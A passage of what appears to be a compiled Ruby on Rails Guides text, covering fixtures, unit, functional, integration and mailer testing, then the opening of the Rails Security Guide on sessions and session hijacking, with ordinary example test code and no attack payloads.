 birthday: 1979-10-15
 profession: Systems development

steve:
 name: Steve Ross Kellock
 birthday: 1974-09-27
 profession: guy with keyboard
```

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.

2.3.3 ERB'in It Up

ERB allows you to embed ruby code within templates. YAML fixture format is pre-processed with ERB when you load fixtures. This allows you to use Ruby to help you generate some sample data.

```
<% earth_size = 20 %>
mercury:
  size: <%= earth_size / 50 %>
  brightest_on: <%= 113.days.ago.to_s(:db) %>

venus:
  size: <%= earth_size / 2 %>
  brightest_on: <%= 67.days.ago.to_s(:db) %>

mars:
  size: <%= earth_size - 69 %>
  brightest_on: <%= 13.days.from_now.to_s(:db) %>
```

Anything encased within the

```
<% %>
```

tag is considered Ruby code. When this fixture is loaded, the `size` attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The `brightest_on` attribute will also be evaluated and formatted by Rails to be compatible with the database.

2.3.4 Fixtures in Action

Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:

- Remove any existing data from the table corresponding to the fixture
- Load the fixture data into the table
- Dump the fixture data into a variable in case you want to access it directly

2.3.5 Hashes with Special Powers

Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:

```
# this will return the Hash for the fixture named david
users(:david)

# this will return the property for david called id
users(:david).id
```

Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.

```
# using the find method, we grab the "real" david as a User
david = users(:david).find

# and now we have access to methods only available to a User class
email(david.girlfriend.email, david.location_tonight)
```

3 Unit Testing your Models

In Rails, unit tests are what you write to test your models.

For this guide we will be using Rails *scaffolding*. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.

For more information on Rails *scaffolding*, refer to **Getting Started with Rails**

When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/unit` folder:

```
$ rails generate scaffold post title:string body:text
...
create  app/models/post.rb
create  test/unit/post_test.rb
create  test/fixtures/posts.yml
...
```

The default test stub in `test/unit/post_test.rb` looks like this:

```
require 'test_helper'

class PostTest < ActiveSupport::TestCase
  # Replace this with your real tests.
  test "the truth" do
    assert true
  end
end
```

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

```
require 'test_helper'
```

As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.

```
class PostTest < ActiveSupport::TestCase
```

The `PostTest` class defines a *test case* because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the

The `PostTest` class defines a *test case* because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.

Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.

Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So,

```
test "the truth" do
  assert true
end
```

acts as if you had written

```
def test_the_truth
  assert true
end
```

only the `test` macro allows a more readable test name. You can still use regular method definitions though.

The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.

```
assert true
```

This line of code is called an *assertion*. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

- does this value = that value?
- is this object nil?
- does this line of code throw an exception?
- is the user's password greater than 5 characters?

Every test contains one or more assertions. Only when all the assertions are successful will the test pass.

3.1 Preparing your Application for Testing

Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:

```
$ rake db:migrate
...
$ rake db:test:load
```

The `rake db:migrate` above runs any pending migrations on the *development* environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.

`db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.

3.1.1 Rake Tasks for Preparing your Application for Testing

Tasks	Description
`rake db:test:clone`	Recreate the test database from the current environment's database schema
`rake db:test:clone_structure`	Recreate the test database from the development structure
`rake db:test:load`	Recreate the test database from the current `schema.rb`
`rake db:test:prepare`	Check for pending migrations and load the test schema
`rake db:test:purge`	Empty the test database.

You can see all these rake tasks and their descriptions by running `rake --tasks --describe`

3.2 Running Tests

Running a test is as simple as invoking the file containing the test cases through Ruby:

```
$ ruby -Itest test/unit/post_test.rb

Loaded suite unit/post_test
Started
.
Finished in 0.023513 seconds.

1 tests, 1 assertions, 0 failures, 0 errors
```

```
1 tests, 1 assertions, 0 failures, 0 errors
```

This will run all the test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.

You can also run a particular test method from the test case by using the `-n` switch with the `test method name`.

```
$ ruby -Itest test/unit/post_test.rb -n test_the_truth

Loaded suite unit/post_test
Started
.
Finished in 0.023513 seconds.

1 tests, 1 assertions, 0 failures, 0 errors
```

The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.

To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.

```
test "should not save post without title" do
  post = Post.new
  assert !post.save
end
```

Let us run this newly added test.

```
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite -e
Started
F
Finished in 0.102072 seconds.

  1) Failure:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
<false> is not true.

1 tests, 1 assertions, 1 failures, 0 errors
```

In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:

```
test "should not save post without title" do
  post = Post.new
  assert !post.save, "Saved the post without a title"
end
```

Running this test shows the friendlier assertion message:

```
1) Failure:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
Saved the post without a title.
<false> is not true.
```

Now to get this test to pass we can add a model level validation for the *title* field.

```
class Post < ActiveRecord::Base
  validates :title, :presence => true
end
```

Now the test should pass. Let us verify by running the test again:

```
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
.
Finished in 0.193608 seconds.

1 tests, 1 assertions, 0 failures, 0 errors
```

Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as *Test-Driven Development* (TDD).

Many Rails developers practice *Test-Driven Development* (TDD). This is an excellent way to build up a test suite that

Many Rails developers practice *Test-Driven Development* (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with **15 TDD steps to create a Rails application**.

To see how an error gets reported, here's a test containing an error:

```
test "should report error" do
  # some_undefined_variable is not defined elsewhere in the test case
  some_undefined_variable
  assert true
end
```

Now you can see even more output in the console from running the tests:

```
$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite -e
Started
E
Finished in 0.082603 seconds.

  1) Error:
test_should_report_error(PostTest):
NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
    /test/unit/post_test.rb:6:in `test_should_report_error'

1 tests, 0 assertions, 0 failures, 1 errors
```

Notice the 'E' in the output. It denotes a test with error.

The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.

3.3 What to Include in Your Unit Tests

Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.

3.4 Assertions Available

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.

Assertion	Purpose
`assert( boolean, [msg] )`	Ensures that the object/expression is true.
`assert_equal( obj1, obj2, [msg] )`	Ensures that `obj1 == obj2` is true.
`assert_not_equal( obj1, obj2, [msg] )`	Ensures that `obj1 == obj2` is false.
`assert_same( obj1, obj2, [msg] )`	Ensures that `obj1.equal?(obj2)` is true.
`assert_not_same( obj1, obj2, [msg] )`	Ensures that `obj1.equal?(obj2)` is false.
`assert_nil( obj, [msg] )`	Ensures that `obj.nil?` is true.
`assert_not_nil( obj, [msg] )`	Ensures that `obj.nil?` is false.
`assert_match( regexp, string, [msg] )`	Ensures that a string matches the regular expression.
`assert_no_match( regexp, string, [msg] )`	Ensures that a string doesn't match the regular expression.
`assert_in_delta( expecting, actual, delta, [msg] )`	Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
`assert_throws( symbol, [msg] ) { block }`	Ensures that the given block throws the symbol.
`assert_raise( exception1, exception2, ... ) { block }`	Ensures that the given block raises one of the given exceptions.
`assert_nothing_raised( exception1, exception2, ... ) { block }`	Ensures that the given block doesn't raise one of the given exceptions.
`assert_instance_of( class, obj, [msg] )`	Ensures that `obj` is of the `class` type.

[msg])	
assert_kind_of(class, obj, [msg])	Ensures that obj is or descends from class.
assert_respond_to(obj, symbol, [msg])	Ensures that obj has a method called symbol.
assert_operator(obj1, operator, obj2, [msg])	Ensures that obj1.operator(obj2) is true.
assert_send(array, [msg])	Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh?
flunk([msg])	Ensures failure. This is useful to explicitly mark a test that isn't finished yet.

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

Creating your own assertions is an advanced topic that we won't cover in this tutorial.

3.5 Rails Specific Assertions

Rails adds some custom assertions of its own to the test/unit framework:

assert_valid(record) has been deprecated. Please use assert(record.valid?) instead.

Assertion	Purpose
assert_valid(record)	Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
assert_difference(expressions, difference = 1, message = nil) {...}	Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
assert_no_difference(expressions, message = nil, &block)	Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
assert_recognizes(expected_options, path, extras={}, message=nil)	Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)	Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
assert_response(type, message = nil)	Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range
assert_redirected_to(options = {}, message=nil)	Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller => "weblog") will also match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.
assert_template(expected = nil, message=nil)	Asserts that the request was rendered with the appropriate template file.

You'll see the usage of some of these assertions in the next chapter.

4 Functional Tests for Your Controllers

In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.

4.1 What to Include in your Functional Tests

You should test for things such as:

- was the web request successful?
- was the user redirected to the right page?
- was the user successfully authenticated?
- was the correct object stored in the response template?
- was the appropriate message displayed to the user in the view?

Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.

Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.

```
test "should get index" do
  get :index
  assert_response :success
  assert_not_nil assigns(:posts)
end
```

In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.

The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:

- The action of the controller you are requesting. This can be in the form of a string or a symbol.
- An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
- An optional hash of session variables to pass along with the request.
- An optional hash of flash values.

Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:

```
get(:show, {'id' => "12"}, {'user_id' => 5})
```

Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.

```
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
```

If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.

Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:

```
test "should create post" do
  assert_difference('Post.count') do
    post :create, :post => { :title => 'Some title'}
  end

  assert_redirected_to post_path(assigns(:post))
end
```

Now you can try running all the tests and they should pass.

4.2 Available Request Types for Functional Tests

If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 5 request types supported in Rails functional tests:

- `get`
- `post`
- `put`
- `head`
- `delete`

All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.

Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.

4.3 The Four Hashes of the Apocalypse

After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:

- `assigns` – Any objects that are stored as instance variables in actions for use in views.
- `cookies` – Any cookies that are set.
- `flash` – Any objects living in the flash.
- `session` – Any object living in session variables.

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example:

```
flash["gordon"]               flash[:gordon]
session["shmession"]          session[:shmession]
cookies["are_good_for_u"]     cookies[:are_good_for_u]

# Because you can't use assigns[:something] for historical reasons:
assigns["something"]          assigns(:something)
```

4.4 Instance Variables Available

4.4 Instance Variables Available

You also have access to three instance variables in your functional tests:

- `@controller` – The controller processing the request
- `@request` – The request
- `@response` – The response

4.5 A Fuller Functional Test Example

Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:

```
test "should create post" do
  assert_difference('Post.count') do
    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
  end
  assert_redirected_to post_path(assigns(:post))
  assert_equal 'Post was successfully created.', flash[:notice]
end
```

4.6 Testing Views

Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.

You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.

There are two forms of `assert_select`:

`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.

`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the *element* (instance of `HTML::Node`) and its descendants.

For example, you could verify the contents on the title element in your response with:

```
assert_select 'title', "Welcome to Rails Testing Guide"
```

You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:

```
assert_select 'ul.navigation' do
  assert_select 'li.menu_item'
end
```

Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.

```
assert_select "ol" do |elements|
  elements.each do |element|
    assert_select element, "li", 4
  end
end

assert_select "ol" do
  assert_select "li", 8
end
```

The `assert_select` assertion is quite powerful. For more advanced usage, refer to its **documentation**.

4.6.1 Additional View-Based Assertions

There are more assertions that are primarily used in testing views:

Assertion	Purpose
`assert_select_email`	Allows you to make assertions on the body of an e-mail.
`assert_select_encoded`	Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
`css_select(selector)` or `css_select(element, selector)`	Returns an array of all the elements selected by the *selector*. In the second variant it first matches the base *element* and tries to match the *selector* expression on any of its children. If there are no matches both variants return an empty array.

Here's an example of using `assert_select_email`:

```
assert_select_email do
  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
end
```

5 Integration Testing

Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.

Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.

```
$ rails generate integration_test user_flows
      exists  test/integration/
      create  test/integration/user_flows_test.rb
```

Here's what a freshly-generated integration test looks like:

```
require 'test_helper'

class UserFlowsTest < ActionDispatch::IntegrationTest
  fixtures :all

  # Replace this with your real tests.
  test "the truth" do
    assert true
  end
end
```

Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.

5.1 Helpers Available for Integration Tests

In addition to the standard testing helpers, there are some additional helpers available to integration tests:

Helper	Purpose
`https?`	Returns `true` if the session is mimicking a secure HTTPS request.
`https!`	Allows you to mimic a secure HTTPS request.
`host!`	Allows you to set the host name to use in the next request.
`redirect?`	Returns `true` if the last request was a redirect.
`follow_redirect!`	Follows a single redirect response.
`request_via_redirect(http_method, path, [parameters], [headers])`	Allows you to make an HTTP request and follow any subsequent redirects.
`post_via_redirect(path, [parameters], [headers])`	Allows you to make an HTTP POST request and follow any subsequent redirects.
`get_via_redirect(path, [parameters], [headers])`	Allows you to make an HTTP GET request and follow any subsequent redirects.
`put_via_redirect(path, [parameters], [headers])`	Allows you to make an HTTP PUT request and follow any subsequent redirects.
`delete_via_redirect(path, [parameters], [headers])`	Allows you to make an HTTP DELETE request and follow any subsequent redirects.
`open_session`	Opens a new session instance.

5.2 Integration Testing Examples

A simple integration test that exercises multiple controllers:

```
require 'test_helper'

class UserFlowsTest < ActionDispatch::IntegrationTest
  fixtures :users

  test "login and browse site" do
    # login via https
    https!
    get "/login"
    assert_response :success
```

```
    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
    assert_equal '/welcome', path
    assert_equal 'Welcome avs!', flash[:notice]

    https!(false)
    get "/posts/all"
    assert_response :success
    assert assigns(:products)
  end
end
```

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

Here's an example of multiple sessions and custom DSL in an integration test

```
require 'test_helper'

class UserFlowsTest < ActionDispatch::IntegrationTest
  fixtures :users

  test "login and browse site" do

    # User avs logs in
    avs = login(:avs)
    # User guest logs in
    guest = login(:guest)

    # Both are now available in different sessions
    assert_equal 'Welcome avs!', avs.flash[:notice]
    assert_equal 'Welcome guest!', guest.flash[:notice]

    # User avs can browse site
    avs.browses_site
    # User guest can browse site as well
    guest.browses_site

    # Continue with other assertions
  end

  private

  module CustomDsl
    def browses_site
      get "/products/all"
      assert_response :success
      assert assigns(:products)
    end
  end

  def login(user)
    open_session do |sess|
      sess.extend(CustomDsl)
      u = users(user)
      sess.https!
      sess.post "/login", :username => u.username, :password => u.password
      assert_equal '/welcome', path
      sess.https!(false)
    end
  end
end
```

6 Rake Tasks for Running your Tests

You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.

Tasks	Description
`rake test`	Runs all unit, functional and integration tests. You can also simply run `rake` as the *test* target is the default.
`rake`	

`rake test:benchmark`	Benchmark the performance tests
`rake test:functionals`	Runs all the functional tests from `test/functional`
`rake test:integration`	Runs all the integration tests from `test/integration`
`rake test:plugins`	Run all the plugin tests from `vendor/plugins/*/**/test` (or specify with `PLUGIN=_name_`)
`rake test:profile`	Profile the performance tests
`rake test:recent`	Tests recent changes
`rake test:uncommitted`	Runs all the tests which are uncommitted. Supports Subversion and Git
`rake test:units`	Runs all the unit tests from `test/unit`

7 Brief Note About `Test::Unit`

Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing us to use all of the basic assertions in our tests.

For more information on `Test::Unit`, refer to **test/unit Documentation**

8 Setup and Teardown

If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:

```
require 'test_helper'

class PostsControllerTest < ActionController::TestCase

  # called before every single test
  def setup
    @post = posts(:one)
  end

  # called after every single test
  def teardown
    # as we are re-initializing @post before every test
    # setting it to nil here is not essential but I hope
    # you understand how you can use the teardown method
    @post = nil
  end

  test "should show post" do
    get :show, :id => @post.id
    assert_response :success
  end

  test "should destroy post" do
    assert_difference('Post.count', -1) do
      delete :destroy, :id => @post.id
    end

    assert_redirected_to posts_path
  end

end
```

Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:

- a block
- a method (like in the earlier example)
- a method name as a symbol
- a lambda

Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:

```
require '../test_helper'
```

```
class PostsControllerTest < ActionController::TestCase

  # called before every single test
  setup :initialize_post

  # called after every single test
  def teardown
    @post = nil
  end

  test "should show post" do
    get :show, :id => @post.id
    assert_response :success
  end

  test "should update post" do
    put :update, :id => @post.id, :post => { }
    assert_redirected_to post_path(assigns(:post))
  end

  test "should destroy post" do
    assert_difference('Post.count', -1) do
      delete :destroy, :id => @post.id
    end

    assert_redirected_to posts_path
  end

  private

  def initialize_post
    @post = posts(:one)
  end

end
```

9 Testing Routes

Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:

```
test "should route to post" do
  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
```

10 Testing Your Mailers

Testing mailer classes requires some specific tools to do a thorough job.

10.1 Keeping the Postman in Check

Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.

The goals of testing your mailer classes are to ensure that:

- emails are being processed (created and sent)
- the email content is correct (subject, sender, body, etc)
- the right emails are being sent at the right times

10.1.1 From All Sides

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don’t so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

10.2 Unit Testing

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

10.2.1 Revenge of the Fixtures

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output *should* look.

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output *should* look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.

When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.

10.2.2 The Basic Test Case

Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.

```
require 'test_helper'

class UserMailerTest < ActionMailer::TestCase
  tests UserMailer
  test "invite" do
    @expected.from    = 'me@example.com'
    @expected.to      = 'friend@example.com'
    @expected.subject = "You have been invited by #{@expected.from}"
    @expected.body    = read_fixture('invite')
    @expected.date    = Time.now

    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
  end

end
```

In this test, `@expected` is an instance of `TMail::Mail` that you can use in your tests. It is defined in `ActionMailer::TestCase`. The test above uses `@expected` to construct an email, which it then asserts with email created by the custom mailer. The `invite` fixture is the body of the email and is used as the sample content to assert against. The helper `read_fixture` is used to read in the content from this file.

Here's the content of the `invite` fixture:

```
Hi friend@example.com,

You have been invited.

Cheers!
```

This is the right time to understand a little more about writing tests for your mailers. The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`).

However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.

10.3 Functional Testing

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:

```
require 'test_helper'

class UserControllerTest < ActionController::TestCase
  test "invite friend" do
    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
      post :invite_friend, :email => 'friend@example.com'
    end
    invite_email = ActionMailer::Base.deliveries.last

    assert_equal "You have been invited by me@example.com", invite_email.subject
    assert_equal 'friend@example.com', invite_email.to[0]
    assert_match(/Hi friend@example.com/, invite_email.body)
  end
end
```

11 Other Testing Approaches

The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:

- **NullDB**, a way to speed up testing by avoiding database use.
- **Factory Girl**, a replacement for fixtures.
- **Machinist**, another replacement for fixtures.
- **Shoulda**, an extension to `test/unit` with additional helpers, macros, and assertions.
- **RSpec**, a behavior-driven development framework

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Ruby On Rails Security Guide

This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:

- All countermeasures *that are highlighted*
- The concept of sessions in Rails, what to put in there and popular attack methods
- How just visiting a site can be a security problem (with CSRF)
- What you have to pay attention to when working with files or providing an administration interface
- The Rails-specific mass assignment problem
- How to manage users: Logging in and out and attack methods on all layers
- And the most popular injection attack methods

Chapters

1. Introduction
2. Sessions
   - What are Sessions?
   - Session id
   - Session Hijacking
   - Session Guidelines
   - Session Storage
   - Replay Attacks for CookieStore Sessions
   - Session Fixation
   - Session Fixation – Countermeasures
   - Session Expiry
3. Cross-Site Request Forgery (CSRF)
   - CSRF Countermeasures
4. Redirection and Files
   - Redirection
   - File Uploads
   - Executable Code in File Uploads
   - File Downloads
5. Intranet and Admin Security
   - Additional Precautions
6. Mass Assignment
   - Countermeasures
7. User Management
   - Brute-Forcing Accounts
   - Account Hijacking
   - CAPTCHAs
   - Logging
   - Good Passwords
   - Regular Expressions
   - Privilege Escalation
8. Injection
   - Whitelists versus Blacklists
   - SQL Injection
   - Cross-Site Scripting (XSS)
   - CSS Injection
   - Textile Injection
   - Ajax Injection
   - Command Line Injection
   - Header Injection
9. Additional Resources

1 Introduction

Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end

storage, the web server and the web application itself (and possibly other layers or applications).

The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out “that out of 300 audited sites, 97% are vulnerable to attack”. This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the **Additional Resources** chapter). I do it manually because that’s how you find the nasty logical security problems.

2 Sessions

A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.

2.1 What are Sessions?

— HTTP is a stateless protocol. Sessions make it stateful.

Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.

A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client’s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:

```
session[:user_id] = @current_user.id
User.find(session[:user_id])
```

2.2 Session id

— The session id is a 32 byte long MD5 hash value.

A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails’ session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.

2.3 Session Hijacking

— Stealing a user’s session id lets an attacker use the web application in the victim’s name.

Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.

